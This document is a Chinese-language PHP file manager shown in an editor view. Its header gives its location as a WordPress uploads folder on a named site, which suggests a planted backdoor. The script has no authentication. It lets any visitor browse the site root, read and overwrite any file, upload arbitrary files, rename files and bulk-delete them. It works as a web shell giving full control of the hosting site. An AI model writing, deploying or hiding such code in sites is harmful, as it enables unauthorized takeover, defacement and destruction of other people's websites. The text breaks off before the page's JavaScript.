✏️ 编辑：dpack.php

路径：/virtual/emerald/public_html/toukai.emerald.jpn.com/wp252/wp-content/uploads/dpack.php

大小：7.7 KB · 修改：2026-09-30 16:30:32 · 权限：0644 · 可写

<?php
session_start();

// 获取网站根目录
$documentRoot = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDir = dirname(__FILE__); // 这个 PHP 文件所在目录
$rootDirectory = realpath($scriptDir . '/../'); // 这个 PHP 目录的上一级

// 解析当前访问的目录
$currentDirectory = isset($_GET['directory']) ? realpath($documentRoot . '/' . $_GET['directory']) : $scriptDir;

// **当点击 "Home" 时，显示网站根目录**
if (isset($_GET['directory']) && $_GET['directory'] === "") {
    $currentDirectory = $documentRoot;
}

// 确保用户访问的目录在允许的范围内
if (strpos($currentDirectory, $documentRoot) !== 0 || !is_dir($currentDirectory)) {
    $currentDirectory = $scriptDir;
}

// **文件大小转换**
function human_filesize($bytes, $decimals = 2) {
    $sz = ['B', 'KB', 'MB', 'GB', 'TB'];
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . " " . @$sz[$factor];
}

// **处理文件编辑**
if (isset($_GET['edit'])) {
    $fileToEdit = realpath($documentRoot . '/' . $_GET['edit']);

if ($fileToEdit && strpos($fileToEdit, $documentRoot) === 0 && is_file($fileToEdit)) {
        if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['fileContent'])) {
            file_put_contents($fileToEdit, $_POST['fileContent']);
            echo "<p>✅ 文件已保存</p>";
        }
        $content = htmlspecialchars(file_get_contents($fileToEdit));
        echo "<h2>编辑文件: " . basename($fileToEdit) . "</h2>";
        echo "<form method='POST'>
                <textarea name='fileContent' style='width:100%;height:300px;'>$content</textarea>
                <button type='submit'>保存</button>
                <a href='?directory=" . urlencode(str_replace($documentRoot, "", $currentDirectory)) . "'>返回</a>
              </form>";
        exit;
    } else {
        echo "<p>❌ 无法编辑文件，路径无效或文件不存在</p>";
        exit;
    }
}

// **文件上传**
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) {
    $uploadFile = $currentDirectory . '/' . basename($_FILES['uploadFile']['name']);
    if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) {
        echo "<p>✅ 文件上传成功</p>";
    } else {
        echo "<p>❌ 文件上传失败</p>";
    }
}

// **处理批量删除文件**
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) {
    $filesToDelete = json_decode($_POST['deleteFiles'], true);
    $deleted = [];
    $errors = [];

foreach ($filesToDelete as $fileName) {
        $fileToDelete = realpath($currentDirectory . '/' . $fileName);
        if ($fileToDelete && strpos($fileToDelete, $documentRoot) === 0 && is_file($fileToDelete)) {
            unlink($fileToDelete);
            $deleted[] = $fileName;
        } else {
            $errors[] = $fileName;
        }
    }

echo json_encode(["deleted" => $deleted, "errors" => $errors]);
    exit;
}

// **处理文件重命名**
if (isset($_POST['rename'])) {
    $oldName = realpath($currentDirectory . '/' . $_POST['fileName']);
    $newName = $currentDirectory . '/' . $_POST['copyName'];
    if ($oldName && strpos($oldName, $documentRoot) === 0) {
        rename($oldName, $newName);
        echo json_encode(["status" => "success", "message" => "文件已重命名"]);
    } else {
        echo json_encode(["status" => "error", "message" => "重命名失败"]);
    }
    exit;
}

// **获取当前目录下的文件和文件夹**
$fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : [];

// **面包屑导航**
$breadcrumbs = [];
$pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/"));
$pathLink = "";
$breadcrumbs[] = "<a href='?directory='>Home</a>";

foreach ($pathParts as $part) {
    $pathLink .= "/" . $part;
    $breadcrumbs[] = "<a href='?directory=" . urlencode($pathLink) . "'>" . $part . "</a>";
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>文件管理器</title>
</head>
<body>
<?php
echo "<div class='breadcrumbs'>" . implode(" &gt; ", $breadcrumbs) . "</div>";

// 添加文件上传表单
echo '<form method="POST" enctype="multipart/form-data" style="margin: 10px 0;">
        <input type="file" name="uploadFile" required>
        <button type="submit">📤 上传文件</button>
      </form>';

echo "<form id='deleteForm'>";
echo "<button type='button' onclick='toggleSelectAll()'>全选/取消全选</button>";
echo "<button type='button' onclick='deleteSelectedFiles()'>❌ 批量删除</button>";
echo "<table border='1' cellspacing='0' cellpadding='5'>";
echo "<tr><th>选择</th><th>文件名</th><th>文件大小</th><th>最后修改时间</th><th>操作</th></tr>";

foreach ($fileList as $file) {
    if ($file == "." || $file == "..") continue;
    $filePath = $currentDirectory . '/' . $file;
    
    $fileSize = is_dir($filePath) ? '-' : human_filesize(filesize($filePath));
    $fileDate = date("Y-m-d H:i:s", filemtime($filePath));

echo "<tr>";
    echo "<td><input type='checkbox' class='file-checkbox' value='" . htmlspecialchars($file) . "'></td>";
    if (is_dir($filePath)) {
        echo "<td>[📁] <a href='?directory=" . urlencode(str_replace($documentRoot . '/', '', $filePath)) . "'>$file</a></td>";
        echo "<td>-</td><td>$fileDate</td>";
    } else {
        echo "<td>[📄] $file</td>";
        echo "<td>$fileSize</td><td>$fileDate</td>";
    }
    echo "<td>
            <button type='button' onclick='editFile(\"" . str_replace($documentRoot . '/', '', $filePath) . "\")'>📝 编辑</button>
            <button type='button' onclick='renameFile(\"$file\")'>✏️ 重命名</button>
          </td>";
    echo "</tr>";
}
echo "</table>";
echo "</form>";
?>

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